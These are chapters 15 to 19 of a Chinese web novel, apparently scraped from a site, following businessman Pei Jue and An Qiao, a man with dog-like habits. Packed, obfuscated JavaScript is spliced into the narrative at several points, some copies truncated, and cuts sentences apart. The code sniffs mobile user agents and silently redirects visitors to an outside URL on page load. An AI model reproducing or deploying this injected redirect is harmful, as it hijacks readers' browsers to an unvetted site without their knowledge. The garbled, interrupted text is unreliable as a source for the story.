他让酒店多准备了两床被子,然后将床让给了安桥,自己睡在沙发上,一米八八的大高个蜷缩在沙发上,等到第二天早上的时候,腰酸背痛地在安桥的“werwerwer——”声中爬起来。 他甚至有一种“这样才对”的诡异错觉。 15.被教育了 “werwerwer——” 安桥叼着牙刷从浴室里探出头来,看着已经换好衣服准备出门的裴觉,他满嘴牙膏地凑到了裴觉的身边,拿起了裴觉的领带,然后继续躲进了浴室里。 以前他不想要主人出门,就会拿走主人的东西,这样主人只能带着他一起出门了,这一招用在裴觉的身上似乎是有些失效了,因为裴觉非常淡定地拿起了另外一条领带,整理好了之后就直接打开鞋柜准备出去了,然后他就停顿在了原处,似乎是愣怔了两秒,而后转头看向安桥。 鞋柜里的每一双鞋子只剩下一只在里面,另外一只都不知所踪了,也不知道安桥时什么时候把鞋子藏起来的,但是整个屋子里就两个会呼吸的,总不可能是裴觉自己干的。 “你怀疑我?”安桥龇牙咧嘴地一瘸一拐从浴室里出来,他坐在了床上,道:“你没有证据。” 他这幅理直气壮的样子倒是有几分说服力,可惜他在裴觉这里信誉度基本是零了,裴觉压根儿不相信他,只是道:“我的鞋呢?” “你忘了吗,你之前诬陷我弄坏了窗帘,其实是你自己弄坏的。”安桥从小到大,从来都只有他诬陷别人的份儿,还从来没被别人诬陷过,这头一次遭受了不公平待遇,他记得十分清楚,并且每当半夜睡不着的时候,就会拿出来反复回味。 不过这些裴觉都不知道,他以为自己道歉了,这件事情应该就过去了。 “……”裴觉看了眼手表,他没时间和安桥纠缠了,于是径自去浴室寻找,但是也没有,床底下也没有,他甚至把套房找了一圈都没找到自己的鞋子,只好对着安桥服软,道:“安桥,我的鞋呢?对不起,我不该诬陷你,我道歉。” “我再次道歉。”裴觉已经很清楚流程了,他现在赶时间,只想快速走流程,立刻道歉三连道:“我再再再次道歉,对不起安桥。” 安桥昂首挺胸地去了自己的房间,找到了鞋子递给裴觉,裴觉有些愣怔地看着安桥这幅熟练刷卡开门的样子,简直就是来去自如,他纳闷道:“你什么时候把鞋子藏起来的?” “你睡着的时候。”安桥骄傲道:“你根本不知道我的动作多么轻巧,好了,夸我吧。” “……”裴觉拿回了鞋子,懒得和安桥计较,但想着对方留在酒店里指不定给自己惹什么麻烦,于是飞快地给对方套上了一件衣服,就带着安桥一起去工地了。 裴觉这次所在的工地和梦源小区很近,所以之前和安桥视频的时候,安桥才看到了梦源小区,而这次安桥更是扒拉着车窗看向梦源小区,满眼都是期待。 “别看了,那不是你的房子。”裴觉一边开车一边说道:“你如果再去闹腾,人家就报警把你抓起来了。” 听到报警,安桥老老实实坐好了。 “可是那就是我的房子,我之前住在哪里的,你看到对联了吗,我咬过的,你看到鞋子了吗,我吃过的,你看到窗帘了吗,我撕扯过的,你看到床角了吗,我咬裂的,你看到餐桌了吗,我上去过的,你看到椅子腿了吗,我咬断的……” “裴觉,裴觉,那个真的是我的房子,但是里面的人我不认识,他占据了我的房子,裴觉。” “裴觉,裴觉……” “裴觉”两个字几乎快要成为安桥的口头禅了,每次喊的时候,裴觉都会冷静地应一声,因为如果他不回应,旁边的副驾驶就会传来非常不满的“werwerwer——”声,并且逐渐拉长,逐渐暴躁,逐渐越来越大声,直到把安桥自己的嗓子都喊干哑了。 “到了。”裴觉一个利落的倒车入库,下车后将车窗拉开了一部分,将人锁在车上,道:“你老老实实待着,我等会就回来。” 安桥坐在车里,透过拉开一半的车窗玻璃看着裴觉的背影,对方已经走远了,并且和另一个人走的很近,似乎是在说些什么,更可恶的是工地旁边还有一个看门的大黄狗。 这一瞬间,让安桥危机感拉满了! “裴总,您让我调查的事情已经调查过了,您说的那个房子啊,屋主是十年前买的,中间从未变卖过,不过最近好像是有些缺钱,挂到网上卖了。”这边工地的负责人说道:“裴总是准备在这里买一套房吗?这个静源小区比较老了,设施也跟不上……” “嗯。”裴觉没说自己会买,但也没说自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527556|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不买,负责人看他这幅不想多说的样子,于是非常识趣地笑了笑,也没有再多话,只是把查到的资料递给了裴觉。 安桥独自坐在车里,安全带系在他的身上,他低头看了眼,非常轻松地抬起手摁住了红色卡扣的位置,安全带自然解开了。 他可没跟裴觉说过自己不知道解开安全带,实际上他还是狗的时候就会了。 “裴觉。”安桥打开手机,打电话给裴觉,裴觉没接听,发信息给裴觉,裴觉也没回复,于是他开始拨通视频通话,裴觉依旧没有接听。 安桥将手机叼在嘴里,试探着摸了摸这个车窗,然后用脑袋试探了一下这个车窗的缝隙大小,抬起手尝试着能不能爬出去,这幅模样立刻惊到了旁边路过的人,有人喊道:“天啊!快来人帮忙!有车车窗出毛病,卡住人了!” 远处还在核对的裴觉并未听到这边的响动,直到接到了警方电话的他,第一反应是诈骗电话,但是当对方提起了“安桥”这个名字的时候,裴觉就信了九成九了。 “接下来你来核对,我有点私事。”裴觉将文件丢给了这边负责人,不敢耽误片刻,径自转身离开,快步朝着停车的方向走去。 原本没什么人的地方已经围着一大片的人了,被警察询问的安桥正坐在台阶上,他额头都是汗水,眼神带着一丝不安,下意识坐在原地不肯离开,要等着裴觉来接他。 “你好,请问你们两个什么关系?”警察看着安桥,又看了眼裴觉,非常谨慎地问道。 “他是我弟弟。” “我欠了他三千万。” 裴觉和安桥同时开口,裴觉头疼地看着安桥,对方十分依赖地回望着裴觉,最后裴觉深吸了一口气,语调平静道:“他脑子不好使。” 裴觉非常有先见之明地拿出了安桥的出院证明以及精神病医院的就医记录。 “既然知道他精神状态有问题,那就更不能把他一个人放在车里,多危险啊,幸好有人发现,不然他脖子就卡在玻璃缝隙里了。”警察教育道:“你看他吓得浑身都是冷汗,带你弟弟去医院看一下比较好。” “好的好的。”裴觉点头应道。 16.乌龙 停车场里很快只剩下安桥和裴觉,车窗玻璃是被撬坏了,裴觉靠在车边,感觉脑门有些疼,不知道是昨晚没睡好还是血压有点高。 “我不是让你在车里待着吗?你往外爬干什么?你疯了?”裴觉深吸了一口气,他有些火大,但是周围还有人谨慎地看向这边,仿佛他是什么坏人,裴觉只好咬牙隐忍道:“你到底要干什么?” 安桥仰起头去看着裴觉,他眼神显得有些无辜。 “你别这幅表情看着我,你每次都是这样,一做错事情就这样看着我!”裴觉扶着车门,他半弯下腰,低头看着坐在台阶上的安桥,神情显得有些阴狠,威胁道:“我的耐心是有限的,安桥。” “wer?”安桥摊开手,道:“所以呢?” 裴觉确定了,自己应该是因为血压高导致的头疼了。 他能怎么办?他什么办法都没有。是他把人带回来的,现在这个人举目无亲,脑子还不好使,处于丢都丢不掉的状态,裴觉看着安桥,好一会儿之后才忽然笑了一下,他是真没招了。 “你说的,养我就会养我一辈子。”安桥笑起来眉眼弯弯,甚至还有一点小虎牙,他轻轻歪了歪脑袋,十分认真道:“你还想要丢掉我吗?那是不可能的。” 他是不会让裴觉有机会丢掉他的,说好养他一辈子,那就是一辈子,一点都不能少的。 最后裴觉也坐在了台阶上,他就这样和安桥僵持了,一整个下午,谁都不搭理谁,甚至连吵闹的安桥都安静了很多。 “我们第一次见面的时候,你不是这样的。”裴觉想了一下午,只想出来这一句控诉,早知道安桥是这样,他是不会带这个疯子回去的。 “你后悔了?”安桥对这种类似于后悔的情绪实在是太敏感了,他立刻警惕起来,十分谨慎地盯着裴觉,提醒道:“我还欠你三千万。” “……”裴觉揉了揉自己的眉心,起身道:“回酒店吧。” 酒店里的安桥已经换了身衣服,他坐在床上,紧盯着裴觉,看着对方打电话,看着对方忙碌,但是就是不允许裴觉离开自己的视线。 “你别这么盯着我看,我又不会走。”裴觉挂断电话后,他和安桥对视了一眼,道:“让我看看你的腿。” 昨晚他就看到安桥的腿摔了,此刻掀开浴袍的一角,膝盖上的淤青更加明显了,裴觉伸手轻轻摁了摁,安桥顿时疼得倒吸了一口冷气,不等裴觉反应过来,对方就已经一口咬在了裴觉的手背上。 “你属狗的?”裴觉慌忙撤回了自己的手,得亏安桥的动作不算特别灵敏,这才免遭被咬一口,不然这也太冤了。 “你弄疼我了。”安桥也不惯着裴觉,他不满道:“本来我都已经不疼了,你一碰就疼了,而且你还用力按。” 这么一说,其实也没错,但是裴觉是为了查看一下安桥的骨头有没有事儿,不过看对方这么活蹦乱跳的样子,精力甚至比他还充沛,裴觉是真的觉得自从养了安桥,他似乎是老了好几岁。 他现在就希望自己能快点结束023号项目工程,成功进入董事会拿到自己想要的东西,然后就可以和安桥划清界限了。 一旦实权在手,就算事情曝光了,对于他而言,损失也能控制在一定范围内,还能顺便架空裴明正。 “你想算计我。”安桥看到裴觉这幅平静的神情,他立刻凑过来,十分了然道:“随便你,反正你丢不掉我的。” 裴觉懒得理会他,等事情结束后,他就和安桥再无来往,到时候无论安桥是自力更生也好,是被裴家带回去也罢,都和他裴觉没有关系了。 “三千万,我欠你三千万。”安桥躺在床上,他看着天花板,喃喃道:“werwerwer——” 他也累了一天了,终于在自己的喃喃声中睡了过去。 整个房间陷入了沉寂,安静得裴觉都有些不太适应,他起身将电动窗帘关上,整个房间顿时暗了下来,安桥换了个姿势睡得更熟了。 “睡吧,终于安静了。”裴觉长舒了一口气,他打开了手机,翻看一下负责人说的那套房子,的确是挂在了网上卖,价格略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531203|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高于市场价,裴觉又看了眼正在熟睡中的安桥,难得对方有睡得这么安稳的时候,于是走到门外,拨通了许特助的电话,道:“把这套房买下来。” “这套房?”许特助正在忙着,忽然接到老板的电话,第一句话就是让他去买下这套房。 “嗯,写安桥的名字。”裴觉顿了顿,道:“买下之后让人把里面收拾一下,保持原样不要动,打扫一下卫生就行了。” “……好的,裴总。”虽然不知道自家老板要干什么,但是作为专业的特助,许特助非常有职业精神地点头应道:“我立刻去办。” 裴觉本来打算出门一趟,但是想到安桥还在睡觉,想了想还是老老实实准备在房间里办公,但是进门的时候不小心将旁边的装饰品弄掉地上了,发出了一声巨大的声响,裴觉原以为这样的声响会弄醒安桥,谁知道对方依旧一动不动,像是昏迷过去了。 这样的动静,按照以往,安桥早就爬起来开始叫唤了,这次显然不太正常,裴觉打开了灯,走过去才发现安桥还在睡觉,但是比起这个,裴觉更发现自己的行李箱被翻开了,最要命的是他的药瓶打开了。 “……”裴觉飞快地将药瓶拿起来,这是他平时被安桥折磨得睡不着觉时吃得安眠药,此刻里面一颗不剩了,他几乎是立刻将安桥抱起来,冲下了酒店,开车朝着医院的方向狂奔。 “安桥?安桥?”裴觉一边开车,一边喊着安桥,道:“安桥,醒醒,醒一醒!” 而此刻,那些安眠药片正散落在垃圾桶角落里,如果裴觉在垃圾桶找一下,就会发现这些药品,可惜他太慌张了。 这些药品安桥可太熟悉了,他以前就吃过这玩意被主人半夜拖到医院洗胃,回家还被骂了,后来主人将药瓶之类的东西都放在了很高的地方,安桥压根儿碰不到了。 主人说,吃了这玩意就会死。 所以安桥在闻到味道的时候,就把药给藏起来了。 就像是主人对他那样,他也这样对待着裴觉,他觉得这是爱的方式,爱就是保护。 17.狗的房子 “胃部没有药物残留,不需要洗胃。” “有中暑的现象,伴随高烧,家属之前都没有察觉到吗?” 医生翻看着病例,有些不认同地看着裴觉,道:“你和病人是什么关系?” “他是我弟弟。”裴觉硬着头皮道:“他真的没吃安眠药吗?我的安眠药瓶子空了,而且他平时只要一点声音就会惊醒。” “没有,没有药物残留,不过他高烧昏迷的,这一点需要注意。”医生说道:“先住院观察一下,你这个哥哥怎么当的,弟弟高烧又中暑,浑身上下都烫手了,居然都没有察觉到吗?” 裴觉有些愧疚,他一直忙着看文件,没在意安桥,还以为对方是安静下来了,没想到是昏迷了。 昏迷时候的安桥是最安静的,医院里的消毒水味道,让裴觉感觉回到了半个多月前,那个时候他还没有带回安桥,如果现在让他重新做选择,他也不知道自己会不会将安桥带回来了。 或许是会选择送对方直接出国,离得远远的,但是一想到对方文盲的程度,在外面指不定连活下去都困难,裴觉就觉得头疼。 可是仔细一想,这都只是假设,因为他已经把这个难缠的疯子领回来了,这么一想,裴觉就不折磨自己了,他接受了现实。 药水顺着透明的输液管流入了安桥的身体里,他安安静静躺在病床上的时候,是最乖巧的时候,漂亮苍白的面容总是会让疏略他恶劣的性格,裴觉坐在旁边就这样看着,依稀能从这张脸上看到一丝丝和裴明正有些相似的感觉。 有那么一瞬间,裴觉会想着如果说将来事情朝着最不可预计的方向发展,裴明正将安桥认了回去,到时候他希望裴明正还能笑得出来。 “不对,他只是想把东西留给裴喻,其他的孩子究竟是你还是我,对于他而言都没有意义。”裴觉想着就忍不住自嘲般笑了一声,轻声自言自语道:“也许是你他会更高兴,毕竟对于他而言,我才是烫手山芋。” 裴觉年纪轻轻就在业界打拼出来了自己的声望,其实任何人都知道对于明正集团而言,他才是最适合的继承人,可惜“偏爱”二字,如果能用理智来衡量,就不会叫做“偏爱”了。 可他不能松口,因为裴明正欠他的,欠他母亲的,何止一个明正集团。 “好好睡吧,等一切结束了,属于你的,都会给你。”裴觉摸了摸安桥的额头,对方的温度已经降下去了,他松了口气。 他的手背有一道刮痕,那是之前差点被安桥咬到的划伤,但是比这个更明显的是一条横跨了整个手背的伤痕,伤口早已愈合,开始泛白,隐隐有些疤痕增生的痕迹。 那是陈年旧伤,横在他的手背上,让他不要忘了是谁把他和母亲逼到这个地步的。 这一觉安桥睡了很久,醒来的时候就看到了空荡荡的病房,他几乎是立刻爬起来了,不安地看着四周陌生的环境,直到病房的门被打开,裴觉拿着早餐走了进来。 “醒了?”裴觉挑起眉梢,道:“今天没有叫唤,看来是精神还没养好了。” 安桥轻轻歪着脑袋去瞧裴觉,每次他用这个眼神去看着裴觉的时候,都给人一种特别专注的感觉,他下意识凑过去用下巴蹭了蹭裴觉的掌心,这幅乖顺的样子让裴觉暂时忘记了他之前多烦人,笑着道:“你怎么跟小狗一样?” 经历了这件事情,裴觉觉的自己还是得耐下性子,对待安桥要更加耐心一点,这是他母亲的亲生孩子,即便现在母亲已经认不出任何人了。 “我想回家。”医院让安桥觉得有些害怕,因为之前他就是在宠物医院病重不治,还剩最后一口气的时候被主人带回去的,所以这里让他觉得很不安,总觉得会发生什么不好的事情,更加努力地凑近了裴觉。 只有靠近裴觉的时候,他才会感到安心,眼神依赖地紧盯着裴觉,如果他现在有尾巴,他的尾巴肯定摇摆起来了。 “带我回家吧,我想回家。”安桥看裴觉已经有些松动的样子,他立刻更加乖巧了,抬起手搭在了裴觉的手上,道:“裴觉,我想跟你回家。” 裴觉拒绝的话在嘴里转了几圈,最后只是说了句:“再做一下检查,没问题就带你回去。” 安桥眼睛一亮,顿时高兴极了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533757|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为只是中暑发烧,来医院也算及时,所以没有更严重的后果,只是考虑到之前安桥意外昏迷三年,所以医生检查起来更加谨慎一些,确定没问题之后就批准出院了。 安桥凑到了自己的车上,他很满意这个新车,左看看右看看,道:“我之前的车呢?” “车玻璃坏了,拿去修了。”裴觉已经对安桥的占有欲习惯了。 “好吧,这个车也很好。”安桥对自己的新车也表示了一下肯定。 他上车之后不用裴觉说话,就自己乖乖地系好了安全带,裴觉看了眼之后,正准备开车,就听到安桥怯生生地问道:“你不夸我吗?” “你很好。”裴觉敷衍道。 安桥再次怯生生道:“以后就算你不高兴,也不要带我来医院了,我以前就是死在这里的,我害怕这里。” 这话听得裴觉再次心软了一瞬,以为是三年前的意外给安桥有了心理阴影,他轻轻叹了口气,抬起手摸了摸安桥的头发,道:“好。” 然而这一切的乖巧在车驶离了医院的地下车库之后,就骤然消失了,车子里响起了熟悉的“werwerwer——”声,刚刚怯生生模样的安桥,仿佛是裴觉被折磨了半个月后出现的幻觉。 而这”werwerwer——”的声音在裴觉将他带到了静源小区的这套房子面前,他更加兴奋了,几乎是挂在了裴觉的身上,推搡着裴觉往前走。 “你的房子。”裴觉打开了密码锁,房产过户还在进行中,但是房主收了定金之后已经连夜搬走了,屋子里干干净净的,什么都没有带走,在绝对的价格优势面前,房主高高兴兴地答应了这笔稳赚不赔的交易。 “我就说这是我的房子!”安桥兴奋极了,这是他喜欢的沙发,是他喜欢的床,是他喜欢的冰箱,是他最爱的厨房,一切都是他喜欢的,他还看到了自己的行李箱,然后快速扒拉出自己的碗,放在了中间最显眼的地方,然后长舒了一口气,一切都是熟悉的样子了。 “正确了!”安桥翘着腿躺在了沙发上,舒服地发出了“werwerwer——”声。 18.捉安桥 原本裴觉准备在同安市待三天就回去,但是因为安桥也来了,加上对方中暑住院,这个时间便往后延长了两天。 这原定的三天变成了生不如死的五天,最后成为了不知归期的八天。 半山别墅那边,裴二好不容易找到了住在这个别墅区的狐朋狗友,借口去玩,通过了门卫的限制,结果进去蹲点了整整五天都没有看到人。 “不是……你们怎么调查的?不是说我哥养的那个小情人就住在这里吗?”裴二有些烦躁地拍了拍自己车的方向盘,怒道:“你们这么点职业素养都没有吗?调查都能查错了?” 电话那头不知道说了些什么,裴二烦躁地挂断了电话,透过车窗玻璃看着这个别墅,从外面看这个别墅和其它别墅并没有什么不同,但是裴二知道,能让裴觉将人藏在这里,这就证明这个人对于裴觉而言意义非凡。 “我倒是要看看是什么天仙级别的人物,能把裴觉迷成这样了。”裴二上次也见过安桥,可惜匆匆一瞥,并未看得十分仔细,只记得有些好看。 本来五月份蚊虫就多,裴二在这里蹲守了五天,喂了五天的蚊子,今天依旧是没有等到裴觉和那个好看小情人的一天,裴二咬牙切齿地启动了车子,转而愤怒离开这里。 手机铃声再次响起,他看了眼来电显示,直接挂断,但是对方显然很有耐心,再次打了过来,连续三次之后,裴二才接通了电话,冷笑道:“你最好是有确定的消息。” “裴总养的那位被他带到了同安市,那边的项目负责人亲眼见到的,两人在酒店同进同出,而且据说裴总还特地高价买了套房送给那位。”私家侦探还是有几分本事的,对方说道:“我这里有几张照片,已经发到了你的手机上。” 挂断电话之后,裴二看了眼对方发过来的照片,上面的确是裴觉和一个人在酒店同进同出的照片,只是因为离得比较远,所以照片显得有些模糊,而且只有几张而已,但是多看了几眼之后,裴二发现了这个照片有些奇怪,因为被拍的另一个人始终面对镜头,无论镜头是从哪里拍摄的,对方似乎总能找到镜头在哪,并且直视,仿佛一眼就看穿了偷拍的位置。 裴二有一种莫名的诡异感,他思索了一下,感叹道:“不愧是裴觉看中的人,是个手段高明的。” 他盯着照片看了好一会儿,依稀能从模糊的轮廓看出这个人长得很不错,裴二细细想着怎么才能把这个人从裴觉的身边撬走,他想想他那位不苟言笑,一本正经的大哥被撬走了心爱之人后的崩溃表情,就有些得意起来。 他已经迫不及待想要看裴觉失去爱人后,那副失望颓废的模样了。 “手段高明”的安桥正靠在沙发上啃着西瓜,炎热酷暑,裴觉在外面工地看项目进程,他则是被放在家里,防止又中暑了。 “舒服。”安桥惬意地看了眼自己的碗,里面满满的都是好吃的,然后半眯着眼睛,将目光落在了熟悉的锅碗瓢勺上面,还有他无比喜欢的窗帘。 裴觉累了一天回来的时候,就看到了被拆卸得差不多的家,一进门就踩着成为雪花的纸巾,已经非常淡然了,首先检查了一下安桥有没有吃什么不该吃的东西,确定这玩意没什么大问题,就没放在心上了。 但是他显然是低估了安桥的破坏力,当他打开房门时还能保持的微笑,在看到一床的墨水时,就有些绷不住了。 “我就说你今天怎么老老实实坐在沙发上,原来是因为把墨水不小心泼到我的床上了。”裴觉笑了一声,真的很难理解为什么家里放了墨水瓶,并且还被安桥翻出来了。 然而很快他就看到安桥爬起来了,沙发也从中间落空,破开了一个大洞,本来就是仿真皮的沙发已经完全无法使用了,裴觉深吸了一口气,很有经验地让人换了个布艺沙发,道:“坚持了五天,也算它命大了。” “明天就可以回去了。”裴觉看了眼安桥,道:“高兴吗?” “回到哪里去?”安桥走过来,他最近过得很舒服,裴觉最近也很听话,不会跟他大吵大闹,有时候裴觉吵闹起来,安桥是真的觉得有些生气了。 不过得亏裴觉最近很有自知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535729|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之明,安桥感觉很舒心,并不想破坏这样美好的生活,他的目光落在裴觉身上,试图让对方打消主意,可是裴觉只说了一句话,安桥立刻就改变了自己的选择。 裴觉说,“你忘了你还有一套别墅了吗?” 安桥思考了一下,他的确是应该去巡视一下自己的领地了,最主要的是,他给裴觉准备好的礼物,裴觉还没有看到,他是很不甘心的。 在安桥思考的这几秒钟,裴觉的第六感告诉他应该是发生了什么了不得的事情,但是目前的他还没意识到这件事情的严重性,以为最多不过就是家里的窗帘之类又坏了,大不了就重新买吧。 反正他的房间和书房是上了密码锁的,加固过的,不可能让安桥打开。 裴觉甚至考虑到了,如果密码锁被暴力打开,一定会发出警告,他的手机系统app能收到。 “wer?”安桥凑到了裴觉的身边,他有些好奇地打量着裴觉,道:“我们什么时候走?” “你想什么时候?”裴觉问道。 “现在!”安桥一下子兴奋起来,他很乐意在外面溜达,最好是高温暴晒的时候,这个时候他最乐意拖着裴觉在外面溜达,即便他自己也热得气喘吁吁,但是没关系,他愿意这样! 他是愿意的!他愿意和裴觉一起受苦!别问苦怎么来的,反正就是愿意! “明天,明天早班飞机,直接回江洲市。”裴觉说道:“今天早点睡觉,明天还得起早。” 不过这句话他是对自己说的,因为安桥是不受控的,完全不受控。 当安桥蹲坐在阳台上,和对面邻居的哈士奇对着叫到半夜三点的时候,裴觉睁着眼睛躺在床上,感觉安眠药还是很重要的,也许会是他这两年十一个月不可缺少的东西了。 而此刻的江洲市,裴二选定了明天早班的飞机,直接飞往同安市,他倒是要看看现场抓包,裴觉还能怎么解释。 “裴觉,你死定了,你和你那个小情人,都死定了。”他冷笑着说道,腿和胳膊上都是被蚊虫叮咬导致过敏的包。 19.不忍了 江洲市的白云机场,早上第一班飞机提前十分钟到达,裴觉牵着安桥出来的,以防止他到处乱走。 “我说了别带这些东西,你非要带着。”裴觉脸色阴沉地拖着两个大行李箱,全部都是安桥的东西,而他自己什么都没有,只有一部和他相依为命的笔记本电脑。 安桥对裴觉的话充耳不闻,并且四处游走,比泥鳅还难抓。 车子停在了停车场,裴觉废了九牛二虎之力,连哄带骗带着安桥上了车,安桥倒是看起来很好说话,一副刚刚游玩回来的模样,但是裴觉已经满头大汗,他将西装外套脱下,丢到了后座上,冷着脸给安桥系安全带,说道:“你最好老实点,安桥,现在回到江洲市了。” “是啊,现在回到江洲市了。”安桥抬起手,搭在了裴觉正扶着方向盘的手上,露齿一笑道:“回家了!werwerwer——” 有那么一瞬间,他感觉好像不是自己拿捏住了安桥,而是安桥对他有某种意图,这让裴觉警惕了起来。 路上的安桥没有再表现出什么异常,一直都在“werwerwer——”地叫唤着,这对于裴觉而言,是属于安桥的正常状态。 如果有一天,安桥忽然不“werwerwer——”了,裴觉才觉得有些不对劲,需要警惕起来,这是这一个月以来,裴觉总结出来的经验教训了。 他现在想想都觉得有些难以置信,一个月前的他哪里想到自己也能有这样能忍的一天,不过为了未来的权力在握,为了得到明正集团,这一切的付出都是值得的。 “两年,十一个月,很快就会过去的。”裴觉轻声道:“如果顺利的话,也许会更快。” “什么更快?”安桥轻轻歪了歪脑袋,看向裴觉。 “对我们两个都好的事情。”裴觉目光平静,他唇角微微上扬道:“安桥,等以后……” 他停顿了一下,目光落在了安桥这张好看的脸上,对方眼神单纯地看着他,于是裴觉下面的话有些说不下去了,他转过头继续开车,想着反正还有一些时间,等以后分道扬镳的时候,他也会安排好安桥的生活,算是对安桥的补偿了。 “等以后我们要每时每刻,每分每秒都在一起。”安桥双手一摊,身子往后靠,一副坐上了龙椅的姿态,道:“这是我的旨意。” “……你最近看古装剧了?少看点那种东西,尽学些乱七八糟的。”裴觉说道。 不过裴觉的话被安桥忽略的彻彻底底,他只听自己想听的,抬起头道:“你得说‘遵旨’。” “……”裴觉感觉以后要严格控制一下安桥看电视剧的范围了,以免这玩意学些乱七八糟的东西,他平静道:“以后你还是看动物世界吧,没有风险。” 从机场到家开车一个半小时,裴觉准备回去好好冲个澡,然后睡一觉,而旁边本来还在絮絮叨叨的安桥已经睡着了,自从他睡着了之后,车子里安静多了,让裴觉有一种偷来的自由感。 自从养了安桥,裴觉和“自由”两个字基本上没有关系了。 车一路往上,裴觉尽量保证开车时的平缓舒适,安桥打了个哈欠,换了个姿势继续睡觉,裴觉将车停在了大门前,熄火后转头看了眼还在睡觉的安桥。 安桥呼吸声很轻,肤色白皙,眉眼十分好看,像是非常乖顺安静的模样,极具迷惑性。 “嗯?”裴觉的手机铃声响起,他快速挂断了,但依旧吵醒了安桥,从对方睁眼的第一瞬间,裴觉就知道今晚不出意外,应该又是一个不眠夜。 因为安桥眼神清亮,一看就是睡得很饱,精神状态非常好。 “到家了?”安桥看向车外,他解开了安全带,径自推门下车,活动活动腰身,然后大跨步朝着别墅里走去。 裴觉其实已经做好了别墅里乱成一团的准备了,他甚至能想到许特助看到安桥这个可怕的破坏力时是多么震惊,但是让他大吃一惊的是,屋子里干干净净的,安桥什么都没有动,就连桌子上的绿植都是健康的,生命力十足。 “你终于懂事了?”裴觉略微挑眉,被安桥闹腾了一个月,如今看到这样的场景,他都怀疑是自己的错觉。 安桥轻轻歪了歪脑袋,他靠在门边,一副笑眯眯的样子看着裴觉,也不说话,这幅样子让裴觉心里咯噔一下,他收起了笑容,几乎是第一时间想到了自己三楼的房间和书房,但又想到那是加了密码锁的,顿时稍稍放心一点。 ”我给你准备了一份礼物。”安桥说道:“你不知道,我费了多大的力气,用了多少方法,干了多少事情,你要知道了,你也会佩服我的!” 当安桥说起这话的时候,裴觉就已经开始怀疑自己的密码锁了,他几乎是立刻转身上楼,步伐匆忙,然而很快就看到了三楼的惨状。 门的确还在,密码锁也没问题,但是门下面已经被怼出了一个洞,像是狗洞,刚好可以容纳安桥爬进去再爬出来,他几乎是深吸了一口气,撑着最后一口气打开了房门,然后门就轰然倒塌,要不是他躲得快,就刚好被门砸着了。 裴觉这才发现,这个洞只是障眼法,安桥不知道用什么方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537621|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,把门套给拆除了,连里面的五金件都裸露出来,全部坏掉了。 他在上面看到了可疑的牙印。 房间里用“一片狼藉”来形容已经不太准确了,严格来说这是叫做开荒,以至于站在门口的裴觉下意识往后退了一步,看了眼楼梯,确定这是自己的房间,才后知后觉地感到眼前骤然一黑。 他扶住了旁边的门框,隐隐觉得这个流程有些熟悉,像极了当初玄关被拆除时的震惊感,但是这一次,他的损失显然不止是一个玄关了。 裴觉几乎是立刻转身去了同样遭遇不幸的书房,第一时间就看了保险柜,得亏安桥啃不动保险柜,这个玩意才免遭此劫。 “厉害吧,我干的。”安桥打开了手机,他已经学会了用手机拍照和录像,所以记录了自己努力干活的全过程,准备给裴觉看,试图得到对方的夸赞,就像是每次主人会红着眼睛夸他是“最聪明的小狗”。 然而这一次安桥似乎是失算了,裴觉直接伸手拍开了安桥的手机,手机掉在地板上,发出了“哐当”一声,屏幕都碎了。 安桥微微抖了一下,他有些愣怔地看着裴觉。 